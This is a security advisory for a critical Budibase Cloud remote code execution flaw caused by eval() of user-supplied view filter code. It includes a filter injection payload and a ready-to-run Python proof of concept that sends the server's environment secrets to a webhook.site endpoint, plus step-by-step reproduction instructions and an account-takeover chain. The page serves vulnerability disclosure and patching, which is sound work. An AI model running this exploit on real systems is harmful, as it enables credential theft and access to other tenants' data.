GHSA-rvhr-26g4-p2r8
CRITICALBudibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
budibasenpmDescription
Summary
A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.
The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNAL_API_KEY, JWT_SECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.
Details
Root Cause
File: packages/server/src/db/inMemoryView.ts:28
export async function runView(
view: DBView,
calculation: string,
group: boolean,
data: Row[]
) {
// ...
let fn = (doc: Document, emit: any) => emit(doc._id)
// BUDI-7060 -> indirect eval call appears to cause issues in cloud
eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)")) // UNSAFE EVAL
// ...
}
Why Only Cloud is Vulnerable:
File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221
if (env.SELF_HOSTED) {
// Self-hosted: Uses native CouchDB design documents - NO EVAL
response = await db.query(`database/${viewName}`, {
include_docs: !calculation,
group: !!group,
})
} else {
// Cloud: Uses in-memory PouchDB with UNSAFE EVAL
const tableId = viewInfo.meta!.tableId
const data = await fetchRaw(tableId!)
response = await inMemoryViews.runView( // <- Calls vulnerable function
viewInfo,
calculation as string,
!!group,
data
)
}
The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.
Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.
Attack Flow
- Authenticated user creates a table view with custom filter
- Frontend sends POST request to
/api/viewswith malicious payload in filter value - Backend stores view configuration in CouchDB
- When view is queried (GET
/api/views/{viewName}),runView()is called - Malicious code is
eval()'d on server - RCE achieved
Exploitation Vector
The vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:
Malicious filter value:
x" || (MALICIOUS_CODE_HERE, true) || "
This payload:
- Closes the expected string context with
x" - Uses
||(OR operator) to inject arbitrary code - Returns
trueto make the filter always match - Closes with
|| ""to maintain valid syntax
Verified on Production
Tested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:
- Achieved RCE on
app-servicepod (hostname:app-service-5f4f6d796d-p6dhz, Kubernetes,eu-west-1) - Extracted
process.env- confirmed presence of platform secrets (JWT_SECRET,INTERNAL_API_KEY,COUCH_DB_URL,MINIO_ACCESS_KEY, etc.) - Used extracted
COUCH_DB_URLcredentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact - Queried users table to confirm data is readable (retrieved email addresses)
- Uploaded an HTML file as a PoC artifact to confirm write access.
Proof of Concept
PoC Script
import requests, time
from urllib.parse import urlparse
# Config | CHANGE THESE
URL = "https://[YOUR-TENANT].budibase.app"
WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]"
JWT = "[YOUR-JWT-TOKEN]" # budibase:auth cookie value
APP_ID = "app_dev_[TENANT]_[APP-UUID]" # x-budibase-app-id header
TABLE_ID = "[YOUR-TABLE-ID]" # any table ID (e.g. ta_users)
# Payload - parses hostname/path from WEBHOOK automatically
webhook_parsed = urlparse(WEBHOOK)
view = f"RCE_{int(time.time())}"
payload = f'''x" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''
# Exploit
s = requests.Session()
s.cookies.set('budibase:auth', JWT)
s.headers.update({"x-budibase-app-id": APP_ID, "Content-Type": "application/json"})
print(f"[*] Creating view...")
s.post(f"{URL}/api/views", json={"tableId": TABLE_ID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})
print(f"[*] Triggering RCE...")
s.get(f"{URL}/api/views/{view}")
print(f"[+] Done! Check: {WEBHOOK}")
Video Demo
https://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99
Reproduction Steps
-
Prerequisites:
- Create free Budibase Cloud account at https://budibase.app
- Create a new app
- Create a table with at least one text field
-
Exploitation:
- Copy the PoC script above
- Replace placeholders with your tenant URL, app ID, table ID
- Get your JWT token from browser cookies (
budibase:auth) - Create a webhook at https://webhook.site for exfiltration
- Run the script:
python3 budibase_rce_poc.py
-
Verification:
- Check webhook.site - you'll receive all server environment variables
- Extracted data includes JWT_SECRET, INTERNAL_API_KEY, database credentials
Additional Note
The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).
Responsible Disclosure Statement
This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:
- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable
- The PoC HTML file uploaded to confirm write access is benign
- This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place
- Before any public disclosure, this report must be redacted/simplified - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | budibase | all versions | 3.30.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for budibase. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update budibase to 3.30.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rvhr-26g4-p2r8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rvhr-26g4-p2r8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rvhr-26g4-p2r8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rvhr-26g4-p2r8 in your dependencies?
O3 detects GHSA-rvhr-26g4-p2r8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.